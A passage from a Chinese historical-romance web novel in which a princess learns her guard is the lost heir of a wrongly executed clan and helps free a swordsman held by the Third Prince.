桑吉揉着鼻子，声音发闷，“不知道。”
他从清早起来便收拾齐全，站在明珠门口，生怕她出门时不记得，可他却忘了，这么大冷的天，明珠从不愿早起，他就这么守在门口苦等，风吹的脑袋发晕。
“你先进来。”
明珠把他拽进房中，倒了杯热茶递给他，瞧着他揉得发红的鼻头。
“又不是头一次出门，至于这样吗？”
“我，阿嚏——！”
连一句整话都说不出来，喷嚏一个接着一个，明珠无奈，伸手摸了摸他的额头，有些发烫。
“我看今天还是别出门了。”
“不——阿嚏！”
“不什么不，躺到榻上去。”明珠命令道。
说着，她起身去柜子中翻找，拿了条厚被褥，转身回来时，桑吉就乖乖躺在榻上了。
生了病倒是听话。
“你躺好，我叫人给你煎药。”
“嗯……”
连回应都显得虚弱。
除了中毒，他已经很久没生过病了，原以为这点冷风不算什么，兴许是平日住的太好，若是在洞窟、在树上，他定然不会如此脆弱。
被厚实的被子裹着，没一会儿，身子生出热意，桑吉望着头顶的房梁，身上一阵冷，一阵热，像第一次父亲拿他试毒后的感觉，那次他险些丧命。
明珠吩咐完外间，自己坐在桑吉身边，伸手探了探他额头的温度，果然发烧了。不多时，药熬好后被端进来。
“起来把药喝了。”
桑吉撑着手臂，缓缓起身，明珠把碗递给他，从罐子里夹出一颗蜜饯。
“药有点苦，喝完含一个。”
话音未落，那碗浓稠乌黑的药就被三两口喝完，桑吉用袖子擦了擦嘴，把碗放回桌上，一气呵成。
瞧他面不改色的样子，明珠都要以为自己端给他的是碗水。
“不苦嘛？”
“嗯。”
这孩子还挺能吃苦。
见他面色泛白，明珠回想起当初，他被翟渠掐着脖子，晕死过去的凄惨模样。
“有没有什么想吃的？”
“想吃的……”
桑吉脑子一片
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糨糊，小声重复着对方的话，他从没被人这样问过，在他的记忆里，生病时熬一熬，或是摘些药草吃了就行。
愣了半天，桑吉想起昨晚那碗梨汤。
“梨汤。”
“好，生病了该吃点甜的。”
“甜的……”
在戎狄，糖并不多产，小时候桑吉很少能吃到甜物，偶尔在野外摘些果子，而毒物早已将他的味蕾破坏，尝不出甜的味道。
所以，即便方才那颗蜜饯入口，也无济于事。
“你先睡一会儿。”
见明珠欲起身离开，桑吉慌张起来。
“你去哪儿？”
“我去让厨房给你熬梨汤啊。”
“那我不要了！”
“？”
明珠坐回他身旁，桑吉的脸色才又好转，无奈她只能留下看着他昏沉入睡，却不想这时府外又传来消息。
侍女走到明珠身边，耳语道，“禀殿下，醉仙楼传话，说殿下的故人，名为白念的一个姑娘，来京探访。”
“白念来了？”
如今三王未倒，白念若来京，白乾定然不会让她独自前往，他们父女的消息定不能传到三王耳中，事不宜迟。
明珠看了眼沉睡的桑吉，说道，“等他醒了把梨汤端来，你们照顾好他，就让他躺在这儿，等我回来。”
“是。”
马车停在醉仙楼后院，明珠见到菊若，说客人正等着。来到雅间，里面站着的人摘下斗笠，面容一如初见时那般。
“白念，好久不见了。”
“自从望州一别，已一年有余了，不知殿下可还安好？”
明珠垂眸，浅笑道，“一切都好。”
将人请到座位，没到饭点，菊若为她们端来茶水和几道可口的点心，白念却无心吃喝，开门见山。
“不瞒殿下，其实爹爹也来了，只是如今三王在，不便现身。以我父女二人如今处境，本不该贸然行事，只是前些日家里来了一位故人，透露了些陈年旧事，爹爹听后夜不能寐，便决意来京。”
“什么事，我方便知道吗？”
“其实……此事与殿下也有关。”
“与我有关？”
“殿下身边是否有一护卫，叫梅辛？”
“对，你们见——不对，应是没见过。”
当时，她让梅辛提前带着鬼方祂赶往北境，故而之后的路途梅辛并不在场，也应与白乾父女没有见过，那为何白念会知道梅辛？
“小女有一请求，还望殿下成全。”
“你说。”
“我和爹爹能见见他吗？”
“你们认识？”
“爹爹说，梅辛可能是已故旧友之子。”
163.梅辛的身世
此事要追溯到两个月前，王藏离京后，在梅辛的掩护下得以逃出，心里却始终放不下，梅辛愿意出手相帮，说明与当年之事必有牵连，应正如他猜想的那样。
这个少年，便是冀州顾氏的小儿子，在灭门惨案中唯一逃出生天的——顾久谦。
思虑再三，王藏决定将这个消息告诉白乾，开元大侠与顾掌门乃是多年挚友，定然关心顾久谦的安危，若此时有旧人能帮那个孩子一把，助其回归顾家，也算是王藏为自己稍稍弥补当年的罪恶。
当年，顾平作为冀州顾家的掌门人，广施仁义，如今的冀州诸派曾经皆受其恩惠庇护，才得以在冀州扎根，既然顾平的儿子还活着，那么，冀州就该有他的一席之地。
王藏这才改道，前往安平县。
因王藏出身大理寺捕头，善画像，不出一刻，便凭借着记忆，将梅辛的脸型轮廓和五官详细画出。
看着那幅画，白乾眼含热泪。
“终于！终于找到了！！”白乾激动的不能自已，“五年，整整五年了，老天有眼，让顾兄血脉尚留在人间！”
于是乎，白乾马不停蹄带着女儿远赴京城，来到长公主殿下之前提及的醉仙楼，请求面见殿下。
听完事情始末，明珠心生疑惑。
“你是说梅辛的真实身份，是顾家的少主？”
“十有八九。”
“可他从来没跟我提过啊。”
若是旧案昭雪，梅辛为何还要留在她身边，做一个寂寂无名的护卫，难不成，是为了报恩？
一切疑问，都要等见到梅辛之后才有答案。
禁军大营，梅辛正赤着上身训练，收到岗哨进来信儿，将一个香囊交给他，说叫他到福临客栈。
见那香囊是殿下平日佩戴，梅辛便知是殿下私下传他，忙取巾帕擦了擦身子，问起旁边的同伴。
“福临客栈，杨哥你知道在哪儿吗？”
“城东南啊，快挨着城楼吧。”杨林打趣地瞧着他，“瞧你这殷勤样儿，谁家的姑娘啊。”
梅辛将汗巾甩到那人脸上，说道，“去你的，不该打听的少打听。”
“我们梅辛还害臊了，得了得了，杨哥不问了哈哈哈。”
禁军大营内不得随意出入，因竹临和梅辛是受长公主殿下托付，年纪又小，没有正式编制，偶尔会有殿下传召见面，他们与大统领说明后，便可便宜行事。
司徒坤得知是长公主殿下的意思，狐疑地打量着梅辛，往常殿下对那两人一视同仁，要叫走也该是都去，怎么今日不同。
“就叫了你一人？”
“是啊。”
“你小子可别唬我，偷跑出去惹祸。”司徒坤警告道。
梅辛这小子说是与竹临同岁，如今却长得高大威猛，一副血气方刚的青壮模样，怎么也不像十五六的傻小子。
“哈？”梅辛这才意会到大统领话中含义，嬉皮笑脸道，“瞧您这话说的，就算您出去惹祸，我也不会呀。”
“嘿，你小子讨打，看老子给你一脚！”
梅辛身形一闪，边逃边喊道，“我可受不起，您留着教训别人吧！”
福临客栈位于城东南，从禁军大营过去得横穿京城，是一段不小的距离，梅辛骑马从城西一路穿梭到城东。
路过街巷，瞧见有家板栗摊子，铁锅拿石子炒过，里面的栗子一个个爆开了口，焦黄诱人，香气十足。
好闻的很，给殿下买些带过去。
梅辛下马，掏出钱袋。
“老板，来一斤板栗。”
“得嘞！”
怀里揣着那一袋板栗，烧的胸口发烫，沿着城楼走，梅辛终于找到了那家福临客栈。进了客栈，还未等他开口，便见二楼栏杆处，明珠冲他示意。
梅辛几步跨上台阶，走到明珠面前，看了看四周，也没有旁人在。
“小姐来此处，可是有事情要办？”
“先进去再说。”
梅辛看了眼紧闭的房门，心中莫名有些忐忑，想起怀中的板栗。
“我买了板栗，殿下可要——”
一踏进门，里面却站着令他意想不到的两个人。
“小谦！！！”
白乾快步上前，一把抱住梅辛，激动地拍打着他的后背。
“你还活着！好孩子，你还活着！！”
梅辛愣在原地，那双手僵在半空，举起也不是，放下也不是，待他看见一旁热泪盈眶的白念，眉头皱得更深了。
“快让白叔看看，”白乾端详起眼前之人，这孩子的眉眼和旧友是如此相似，感慨道，“真好啊，长这么大了！”
“嗯……”梅辛不自然地避开视线。
明珠注意到梅辛的局促，说道，“不如先坐下再说吧。”
“好好！”
白乾这才退回桌旁，梅辛不禁松了口气。
“你刚才说，买了什么？”明珠问道。
“啊，栗子。”
说着，梅辛从怀中掏出来，却不知是没留神还是怎么，从怀里拿出来的时候，装栗子的口袋撕裂，哗啦一声，栗子散落一地。
“小姐抱歉。”
梅辛慌忙去捡，明珠也陪他一起，见状，白乾和白念起身过来帮忙，栗子圆滚，咕噜咕噜滚出好远，几人四散在房中
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。
趁着捡栗子，明珠凑近，伸手与梅辛相碰，梅辛一抬头，便注意到对方安慰的神色，顿时安心了许多。
众人收拾完，将栗子拿布兜着，放回桌上。
看着面前这两个孩子，白乾不禁追忆起往昔，“我记得小谦小时候不爱吃甜的，念念喜欢，他便把家里的点心都拿给念念吃。”
“陈年旧事了，爹你又提。”白念小声道，“和久谦哥哥这么多年未见，就说些这个啊。”
“噢，对。”白乾拍着梅辛的肩膀，说道，“好孩子，这么多年，你在外受委屈了，既然我已找到了你，不如跟我回去吧，顾家需要你，整个冀州都需要你。”
“白叔……算了吧。”梅辛挣扎片刻，低沉道，“这么多年，冀州，已经不需要顾氏了。”
“好孩子，你怎么能这么想，当初顾家是被冤枉的，如今既已平反，你作为顾兄唯一的骨肉，就是下一任掌门人，当然要回去继承家业，重振顾家。”
白乾以为梅辛多年未归，年纪尚轻，心中无底气。
“大家都还在，你赵伯伯、郭甫叔，还有你云青哥，他们念及你父亲的恩义，定然不会为难。”白乾拍着胸脯道，“你放心，他们谁若是不服，白叔我第一个不答应！”
闻言，梅辛只觉得胸口发闷，有些喘不上气。
“我……”
“白大叔，我还在呢。”明珠打断道，“你这么说，可是当面挖我的墙角。”
“啊，白某糊涂。”白乾恍然，赶忙赔罪，“殿下宽恕，白某得见旧友之子，实在是失态了，若失言冒犯殿下，还望殿下莫要介怀。”
“可以理解。”明珠笑道，“不过，我想今日之事太突然，我家梅辛一时之间难以抉择，白大叔若是不急，不如多留京几日，好让大家商议妥当今后安排，不至于毫无准备。”
无论梅辛愿不愿意，此时一脑热扎进冀州，绝非良策。
“顾家之案沉寂多年，而冀州稳定至今，想必各方早有默契，若此时横插一脚，且不说大家态度如何，起码，心中多少还是有些别扭。”
念及白乾在场，她话说得委婉。
一鲸落，万物生。
说白了，五年的时间过去，冀州恐怕早有新的当家人，对方又怎甘心再屈居人下，何况还是个年轻后辈。而顾家灭门后，梅辛成了孤儿，回去又能依仗谁呢。
纵然白乾在江湖负有声名，人家能卖他些面子，留下梅辛，可若是争掌门之位，白乾说话又有多少分量。
经明珠一说，白乾也冷静了下来。
“殿下说得有理，是白某心急了，此事要从长计议。”
164.回不去的过去
此事无法轻易决定，无论是冀州如今的局势，还是梅辛自己的态度，都尚不明朗，众人商量过些时日再议。
有客远来，须尽些地主之谊，明珠提出邀白家父女过府小住。
白乾出言婉拒，长公主殿下到底是未出阁的姑娘，恐生不便，而且京中上下都盯着长公主府的动向，他们出行也会给殿下添麻烦。
因此，明珠便在醉仙楼宴请白家父女，这期间白乾喝了几杯，拉着梅辛的手，一个劲儿拍他的肩膀。
“一定要回去啊，小谦，你爹你娘他们都还在宗祠等着你回去，你是顾家唯一的血脉啊，得叫他们知道你还活着！”
听着这些话，梅辛沉默不语，默默灌了自己好几杯。
当他在竹临口中得知，殿下她们运粮途中遇到了白家父女时，便想过有朝一日会面临这样的抉择。
就像那些惨痛的记忆，非但不会淡化，还会一次又一次，重映在梦里。
醉仙楼外，众人暂时告别，明珠担心梅辛喝多了酒，叫他一起坐马车回去。刚要上车，就见白念追了过来。
“久谦哥，有些话我想先和你说过。”
梅辛看向明珠，明珠冲他点了点头，自己先去马车上等，留下空间给他二人。
正午，街上人来人往，吆喝声、买卖声此起彼伏，嬉闹的孩童被大人揪着耳朵，提溜回家吃饭。
两人一前一后走着，来到巷口静谧处。
“你要说什么？”梅辛问道。
白念长吁一口气，对梅辛对视，如今的他褪去孩童时的稚嫩，五官凌厉，下颚和眉骨上有着淡淡的伤疤。
“我们来的突然，久谦哥你别见怪。爹爹他是听到你活着的消息太过高兴，才心心念念帮你回冀州。
“可我看得出来……”
爹爹只顾寻过去之痕，却没看出来眼前之人早已不是当年之人。顾家身负谋逆之罪，久谦哥隐姓埋名这么多年，他经历了什么，一路上遇到了多少磋磨，这些旁人都不得而知。
“久谦哥若不愿，我会想办法劝劝爹爹。长公主殿下人好，待你们也好，留在殿下身边，未尝不是一件好事。”
白念此言肺腑，梅辛也不免放松了些。
“谢谢。”
“还有——”
话到嘴边难以启齿，白念咬着下唇，神色纠结。
“婚约之事……”
见她提及此事，梅辛决意道，“白念，顾久谦已经死在行刑场上了，你不必为过去之人守节，跟白叔说，忘了这门亲事吧。”
闻言，白念不由松了口气，她并非厌弃他，而是不想为过去的几句话，这么潦草地绑定一辈子。
从孩童到成年，五年的光景不长，却仿佛拉长了半生，对于他们而言，又岂止半生，她再也不是那个跟在顾家哥哥姐姐身后的小妹妹。
刚想开口，却不禁哽咽起来。
“……来时的路上我一直怕，怕久谦哥以为我背信弃义、不守承诺。”白念眼含泪光，说道，“哥你失去了太多，这事我没法开口，我不想让你以为我们也要抛弃你。”
“傻妹妹。”梅辛揉了揉她的脑袋，笑道，“不会的。”
如今，有人在等他。
不多时，马车轻轻晃动，明珠知道人回来了。
“白念劝你回去？”
“没有。”梅辛挨着车门坐好，回道，“她说看出来我不想回去，会帮我劝劝她爹。”
“唉，白念人真好。”
“殿下和她还真是惺惺相惜。”梅辛笑道，“她也这么说殿下来着。”
明珠得意地看向他，见他怀中还抱着一兜子栗子，朝他伸出手。
“殿下还是别吃了，都掉在地上了。”
“这有什么，掉在地上三秒内捡起来还能吃。”说着，明珠拿起剥开一个丢进嘴里，还给他嘴边递了一个，“好甜的。”
梅辛无奈一笑，张开嘴咬住。
回到长公主府中，院子仍弥漫着那股清苦的中药味，明珠想起来，还有个病号在自己房中躺着。
“桑吉怎么样了？”明珠问道。
“回殿下，桑吉在您走没多久就醒了，问了您去哪儿，我们怕他又偷跑出去，只说了不清楚，他中午饭后又喝了一剂药，这会儿还在您房中。”侍女回道。
“好，让他在那里休息吧。”
卧房中，桑吉听到外间的动静，知道定是明珠回来了。此时，里屋的门被推开，桑吉在榻上背过身去，谁知进来的人压根不是。
“殿下回来了，说让你在这儿休息。”
桑吉猛地一翻身，问道，“她呢？”
“梅辛回来了，殿下和他一起呢。”
桑吉皱起眉头，又背过身去。
厅堂内，明珠特地将其他人遣走，只留她和梅辛，四室寂静，明珠打量起眼前之人，还真是没想到，她身边竟卧虎藏龙。
“这件事，你是怎么想的？”
就见那人扑通一声，跪在地上。
“梅辛欺瞒殿下，罪该万死。”
“你这是干什么？”明珠把他扶起来，正色道，“我问你的想法，是想要妥善处理此事，不是兴师问罪。”
“殿下……”
“这些年的苦楚，不是谁都能轻易承受的，白大叔想你做回顾久谦，又谈何容易。可无论你是梅辛，还是顾久谦，我只要你能好好活着。”
一向成熟老练的梅辛，此刻却满脸迷茫。
“殿下，我、我不知道该怎么办……”
五年的光阴，又怎会他忘了自己是谁。
自己原名顾久谦，是冀州
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顾家的小儿子，出身武林世家，其父顾平的名号在江湖占有一席之地，为人豪爽仗义，在冀州本地颇有名望。
冀州山林平原广布，因其多元的地貌特征，物产富饶，素有“天下粮仓”的美誉，北境的粮草大多受供于此。
顾家运营有漕运、镖局、林业，作为一方势力，为国尽忠效力，当年北境粮草不足，顾平曾用顾家私产充公，并亲派弟子将粮草送往北境。
而顾平与镇国公董齐川虽为避嫌，从不私下来往，却颇有些英雄惜英雄的感情在，当初镇国公病逝，顾家在冀州地界铺设路祭，为其相送。若是镇国公未死，顾家被冤谋逆时，董齐川定会为其辩白。
永安十八年，冀州大水，山洪爆发，土地、庄稼、房屋被冲毁，朝廷的拨付却迟迟没有发放。顾家护佑一方，不愿独善其身，顾平散尽家财自费赈灾，却被扣上了收买人心，意图起义谋逆的罪名。
顾家被满门抄斩，幼子顾久谦侥幸逃出，往北是北境，作为反贼之子，身负罪名不能示人，北境审查严格，他只能往南，去三王管辖的定州，却在定州逃亡路上，不慎被人贩子卖入地下赌场。
在那里，他和竹临都是在筛选中活下来的“斗兽”，后来被运往京城。
“殿下，那么多无辜之人死在我手中，无论是哀嚎还是求饶，我都没有放过他们。”
梅辛看着自己颤抖的双手，仿佛上面沾满血迹，他从小被教导，做一个正人君子，做一个惩奸除恶的侠义英雄，他由正入邪，如同仙家堕入魔道。
求生的欲望，被世道摆布的迷惘，道德观的自我审判，忏悔和麻木交织缝补。
“我背弃了顾家家训，丢下了父亲教我的仁义和道德，只为给自己求一条生路，能有朝一日替顾家洗雪冤情。”
他在地下赌场唯一的求活信念，催逼他杀人的动力，就是出去之后为家族洗雪冤名。而后来的政治斗争中，褚相倒台，大理寺卿也遭遇清算，永安十九年，顾家旧案被平反。
他作为顾久谦的使命，戛然而止。
“等我出来才发现，活下来的我，已经没有意义了。”
过去的痕迹付之一炬，他成了被囚于世间的伥鬼，无法被超度。
“曲晋元伪造冤案，害我顾家满门抄斩，父亲、母亲、兄长们……他们都是好人，却皆含冤而终，我对那人恨之入骨，哪怕冤案昭雪，也不能抵消分毫。”
恨意并非轻而易举拥有，那是蚀骨的寒意，日以继夜，吸食着人的精力，笑着笑着，下一瞬，凉意就会如洪水般袭来。
对于他而言，无论是冤，还是平反，他顾家一门都只剩下他一人，即使真相被揭示，他的人生也已天翻地覆，无法挽回。
“我不想回去，不想再做回顾家的少主，顾久谦除了恨，已一无所有了。”
165.突击三王府
顾家的兴旺背负在顾久谦一人身上，他若死了，顾家就此断绝，只留下江湖中的一段传言，他若活着……
又当如何呢。
“有时候想，不如就这样，忘了顾久谦这个名字。”
梅辛干笑了两声，想做寻常玩笑似的，将这些话说出口，在目及对方的眼神前，还是下意识避开了视线。
“殿下，我这样，是不是很没用……”
人生来，可能就是如此，要挺过那些磨难，历经艰辛，方能在彼岸成佛。
顾久谦所受到的家训教诲，无一不是在勉励自我，要光宗耀祖，将顾家武学发扬光大，要让顾氏门楣以侠义之姿立足江湖。于国有益，于天下有益，此乃顾家代代掌门人的世袭传承。
对此，他从未质疑过，即便是一无所有的当下，他心底里依旧保留着这份火种，可天下已经不需要顾氏了。
冀州的叔伯们，早在当年顾家蒙难时，就已露出獠牙。
外人并不知情，当初他南下逃难，遭遇了刺杀，而刺伤他的那些人用的便是顾家剑法的招数，万般无奈下，他被随从藏进了地下赌场，才逃过一劫。
冀州，恐怕不会迎接他回去了。
“梅辛，不想回去就不回去，只要我活着，谁都不能从我身边带走你。”
看着这样的梅辛，仿佛能窥见他心底的彷徨。
这些年，明珠经历了许多过去未能经历的事，也有了过去不曾有的想法，有时候，她已经分不清自己究竟是谁，是贺晨星，还是李凌月。
若回去，就只剩下孤身一人，她又能鼓起勇气吗。
“谁若再来，我就把你藏起来，到时候任他们谁都找不到，少主也好、掌门人也罢，他们谁爱当谁当。”
明珠抚上梅辛的发，嗓音轻柔，宛如羽毛拂过，让人心里发痒。
“在我身边，不用强撑。”
闻言，梅辛垂着脑袋，忍住哽咽，换上往日嬉笑。
“殿下这是要‘金屋藏娇’？”
听到他的比喻，明珠嫌弃地捏了捏他的脸颊。
“怎么，想当小娇夫？”
梅辛托着脸，故作娇嗔，“殿下不喜欢吗？”
“喜欢啊。”明珠说道。
听罢，梅辛一僵，见明珠脸上溢出笑意，才反应过来自己反被戏弄了，他长吁一口气，挠了挠红得发痒的耳根。
闷声道，“您赢了……”
他跟军营中那些汉子混得熟，说话做事老道油滑，素日装得有些浑不吝，实则还是少年心性，有些话说出口，待回过味来反而自己害臊。
“殿下，其实……”
忽然，房门外传来侍女的声音。
“殿下，白念姑娘在府外求见，说——出事了。”
“！”
明珠与梅辛对视一眼，眼中皆是诧异。
与白家父女才分开不到半天，怎么就出事了？
“殿下！不好了！！”白念一进门，就慌张道，“我爹他被三王府的人带走了！！！”
“怎么回事？”
三王就这么快下手了？！
“爹爹中午喝多了酒，在房中休息，我在隔壁听见动静，就出去看了一眼，谁知道来了群士兵绑着父亲就走了。
“我听见那个领头的说，‘回去禀告王爷’之类的话，猜是三王府的兵丁，怕他们发现我，我就先躲了起来，等他们都走了，我才赶紧来找殿下！”
那就八九不离十了，能在京中肆意行事，还与白乾有恩怨的也就是三王李昇了，还好白念机灵，没有以卵击石。
此事刻不容缓，明珠手一挥。
“备马，去三王府。”
三王府中，白乾被捆成粽子，用粗布绑在柱子上，身边甲兵把守，从姿势、佩剑来看，各个皆是精锐。
这会儿白乾的酒早醒了，在客栈时，三王府的护卫们就将他随身武器都搜了个干净，双拳难敌四手，白念又在附近，他只得先乖乖就范，方便女儿出逃。
领头的管事趾高气扬地来到白乾面前，上下打量了几眼，心想这大名鼎鼎的开元大侠也不过如此，王爷何必派这么多人。
“今日就叫你知道，得罪了我们王爷，管你是什么大侠、大虾，都是死路一条！”
白乾面无波澜，闭着眼睛细细聆听。
除了这个聒噪的人，房中十人护卫，配剑，屋外围着十五人，配刀，院子中约五步一人站岗，共四十人。
不对。
上面传来细碎的攒动声响，白乾侧耳，东西两侧的房顶上各有五人伏击，弓弦蓄势待发，若他从房中出逃，登时便会万箭齐发。
三王拿人，还真是声势浩大。
白乾睁开眼睛，扫视着面前滔滔不绝放狠话的家伙，脚步虚浮，姿态绵软无力，手无寸铁，看样子完全不通武艺。
“整个院子里，杀你最容易，离远些吧。”
“……”
田康绷着嘴，默默往后退了两步，站在护卫身后，才敢指着白乾呵斥。
“你嚣张什么！就凭你现在这样子，能动一下老子跟你姓！来人，王爷说了，先挑了他的手筋脚筋！”
瞧着对方狗仗人势的模样，白乾眼神冷了下来。
——既然如此，那你们不该用麻绳捆人，该用锁链的。
白乾袖口一抽，那枚缝制在袖口的刃片，猛然割开衣料，紧贴在指缝间，他稍作用力，便将麻绳细细磨开。
忽而，门外传来急促的脚步声，白乾停下手中动作。
“田管事，长公主找上门来了，王爷下令，立刻处死白乾！”
三王府门外，长公主府的马车大张旗鼓地停在门口，明珠走下马车，长公主府的护
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卫列队两侧，不像是拜访，倒像是来抄家。
人类的恐惧来源于火力不足，这句话说的一点没错，明珠背着手，气定神闲地站在大门口。
“王叔，好久不见。”
身后，侍卫长手握剑柄，等着一声令下，哪怕阎罗殿前，他们也能殿下撕出一道口子。
“原来是明珠长公主大驾光临。”三王刚得知消息，破天荒出来迎接，“不知道今日来找本王有何贵干啊？”
若放在以前，他压根连人都不会见，可长公主早已今非昔比，不仅圣上恩宠犹在，从北境归来，其声望也是水涨船高，所到之处无一不在称颂赞扬。
尤其栾城，她将栾城太守和鸿运楼一网打尽后，彻底断了他在此处的布局谋划，栾城如今一派和气，只有他恨得咬牙切齿。一想到此处，三王不禁悔恨，当初在定州若是得手，便不会有今日这等憋屈之事。
“王叔不欢迎我来？”明珠笑道，“看来王叔一如既往，对我成见颇深啊。”
“大侄女这是什么话，本王可是你的亲叔叔，血浓于水，怎么会对你有成见，快请进。”看着明珠身后紧随的护卫们，三王沉声道，“这来王叔家里，就不必带这么多人吧，难不成在王府还能有什么危险。”
说着，三王对一旁的侍卫长说道，“长公主来王府拜访，没有带兵的规矩，你们在外面等着就是。”
侍卫长却不为所动，目不斜视地跟随其后，见状，三王脸色逐渐阴沉。
“唉，还请王叔体谅。”明珠说道，“王叔可别怪我胆小，想必您也听说了，在定州时我遭遇刺伤，险些丧命。”
三王咽了口口水，一时之间找不出什么话回应，生怕她此刻翻出旧账。
“从那之后，我就夜不能寐，生怕一闭上眼就——一命呜呼了。”
话音刚落，就见明珠上前一步，将手中之物刺向三王腰间。那硬物刚一触及腰腹，吓得三王一颤，目光惊恐，连连后退。
“你想干什么？！”
“诶呦，王叔这是怎么了？”
明珠故作吃惊，笑着举起手中的细长礼盒，在他面前晃了晃。
“晚辈上门，怎么能不带些薄礼呢，那也太不懂事了，没想到王叔胆子也这么小，一把折扇吓成这样。
“看来，父皇说的没错，王叔以后还是别轻易出门了，否则哪天被人吓破了胆子，犯了失心疯，我们这些做晚辈的，可是要伤心一阵子。”
三王瞪着明珠，面色因恼怒染红，这会儿也顾不上什么体面，什么地位，只想叫这人消失在眼前。
“你来若是为了说这些，我三王府可不得相容！”
“我来，自然有来的理由，三王府又不是什么好地方，谁何苦上赶着来。”
明珠目光锐利，话语中充满警告。
“我只说一遍，把人交出来。”
166.声东击西
三王听到明珠来意，心中一沉。
不日前，他收到冀州传来的消息，说白乾将会入京，他正愁逮不着时机算旧账，这下好了，白乾也算是自投罗网，只要他人在京城，就翻不出自己的手掌心。
当即，三王便传令下去，每日私下搜查新进京的人，尤其是客栈、驿站等地方，派人重点监视。果然，今日在福临客栈找寻到白乾踪迹，三王便速派人马将白乾绑了回来，只是没带回白家女儿，本以为小小女子不成气候，却没想到她居然找来长公主做靠山。
现如今，李凌月追上门来，瞧这架势像要硬闯。
原本为解心头之恨，他还想抓到白乾后细细折磨，可惜，人来得真不是时候，若此时白乾落在她手上，那就不妙了，所幸他派人通传，即刻要了白乾的命。
三王挺着胸口，凡是和自己作对的人，必死无疑。
“恐怕，长公主要失望了。”
话音刚落，就听见身后传来声音。
“王爷！不好了，人跑了——！”
“！！！”
王府后院，毒烟缭绕，守卫一个个面露惨白，倒地不起。
梅辛、白乾两人却毫发无伤，以黑布遮面，从烟雾中一跃而出，翻过几层高墙，扎进早就等候接应的马车里，快马加鞭跑路。
“辛苦你们救我了。”白乾将黑布取下，说道。
梅辛朝窗外侧目，确认没有追兵，才说道，“白叔说笑了，我一进门见您早已挣脱，就知道我们这趟是干着急了。”
临走前，梅辛特地给田康灌了解药，待他醒后去给三王报信，给三王府外的殿下一个信号，而田康也不负众望，苏醒之后，一路大喊着跑过去。
“王爷，大事不好，白乾他逃走了！！！”
“废物！”
噩耗来得如此之快，挺起的胸膛乍然瘪了气，三王险些没站稳，待田康上前，他一个巴掌扇了过去，田康登时跪倒在地上。
“求王爷恕罪啊……”
“你说你，我能指望你干成什么事！”三王只觉得头晕眼花，怒道，“若不是看在王妃的面子上，你这猪脑袋都掉了几回！！”
骂了半天，三王才缓过神来，偷偷朝明珠的方向瞄了一眼。
“王叔，家宅不宁啊。”明珠挑眉道。
其实，她压根就没想强闯进去，先不说这样做了之后，三王的门生会如何编排诋毁，就是三王府也不是她想来就来、想走就走的地方。
来之前，明珠便制定好了计划，三王不会轻易放人，甚至，有可能在得知长公主府来人时，会为了清除人证，一不做二不休，直接杀了白乾。
要救人，必得声东击西。
她从桑吉那里要来了迷人毒烟，交给梅辛，届时他往关押白乾的地方一投，毒烟便会顷刻蔓延，而后解决掉多余的人，他便可畅通无阻。
只是没想到，那边梅辛刚一推开门，就见白乾已然自行解决，不仅割开了绳索，屋里的人也都被击晕，尽数倒地，让他们省了不少事。
三王反应过来，指着明珠痛斥道，“是你！定然是你，又坏我事！”
“王叔，有句话叫‘多行不义’，送给您，以此勉励。”明珠摆了摆手，不以为然道，“今日晚辈就不打扰了，王叔好自为之。”
说罢，明珠带着队伍扬长而去。
留下三王站在原地，望向远去的马车，满脸愤恨，忽而想起手里的礼盒，猛地掀开，里面躺着一把折扇，隐隐有字书面，展开后，只见扇面上三个大字——“必自毙”。
刺啦——！
折扇碎成几瓣，被狠狠踩在脚下。
三王怒不可遏道，“李凌月！！！”
长公主府中，白念在院里来回踱步，她自知帮不上忙，只好待在这里等消息。
终于，看到他们安然无恙地回来，白念才松了口气。
“爹，没事吧？！”
“没事，放心。”见女儿头发凌乱，定是为方才之事焦急忧虑，白乾自责道，“都怪爹粗心，暴露了行迹。”
“不是粗心。”明珠也抵达府中，正巧与他们汇合，她沉声道，“这件事有古怪，三王不可能这么快找上门，背后定是有人告密。”
白乾行走江湖多年，行事自然有所警惕，此番进京时，他们所用的路引乃是借用同乡一对父女，并非实证，即便是在鱼龙混杂的醉仙楼，也是由菊若特地安排，避开了闲杂人等。
可即便如此，白家父女进京不过半日，三王府的兵丁就赶到客栈抓人，恐怕是早有所准备，而知道白乾来京，并意欲除之的人，一定与冀州脱不了关系。
“当初，是谁告诉白大叔顾久谦在京中？”明珠问道。
“是王藏吧。”梅辛看向白乾说道。
王藏离京时，梅辛便隐隐不安，他当时出手相助，拦下松芜的追杀，只是念及当年的一点恩义，并非想让对方帮自己找回身世。
思及此，梅辛不禁懊恼，若是多叮嘱对方一句就好了，只可惜，木已成
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舟。
“王藏为人，白某能担保，断然不会行此背信弃义之事。”
这名字听着耳熟，明珠问道，“王藏，在北境时的那位镖头？”
“是。”梅辛回道，“他原是大理寺捕头，当年在曲晋元的手下做事，曾参与过顾家冤案，当时王藏顾念着一丝仁义，助我出逃。属下也觉得，不会是他将此事告知三王。”
“可他把这个消息告诉了白大叔，那么也有可能将消息带到冀州，或许王藏本心想助梅辛回归顾家，只恐怕事与愿违，被有心人利用，从中作梗。”
闻言，白乾面露难色。
倘若真如长公主殿下猜想，那致力于将顾久谦带回的他和王藏，岂非都要好心办坏事，如有什么闪失，他纵然身死，也无颜面见地下的顾兄。
“看来，冀州的确不能轻易返回。”白乾挫败道。
“不，”明珠笑道，“既然对方出手了，这件事就不算完，冀州的掌门人人选尚且不能定论，可这笔账，要和那些人算一算。”
冀州那边发现了顾久谦还活着，就不会轻易善罢甘休，他们能想到利用三王，就说明他们清楚三王和白乾的恩怨，至少也会知道当初三王招募白乾不成，反被打脸的事。
只是不知，冀州是否有人听命于三王，毕竟当初押运粮草路过冀州，一路畅通无阻，并未像定州时遭遇刺杀。
“冀州的势力，以前与三王有来往吗？”
“据白某所知，应是没有，冀州这个地界特殊，若与北近，便可山林划分，割据一方；若与南近，便可水路恒通，徒增暴利，因此最忌与重臣权臣勾结。
“听说……除了官府，冀州各处皆埋有陛下的眼线，当时，顾兄自认行得正坐得直，也不甚在意，其余诸人无人胆敢查找。”
“眼线？！”明珠诧异，“在冀州……”
她从未听闻此事，即便是前些年在御书房行走时，翻阅过各地呈送大内的奏折和密函，也没有见过来自冀州私下的通报，如今的皇帝自然也对此毫不知情。
倘若真有这些人的存在，那岂不是说近些年来，冀州的眼线都不曾被启用过。还是说，他们和皇帝之间有专门的传递手段，只在特殊时期出现，从而目前并未暴露。又或者，所谓的眼线，只是皇帝有意散布的幌子，叫冀州人人自危，避免他们对外勾结。
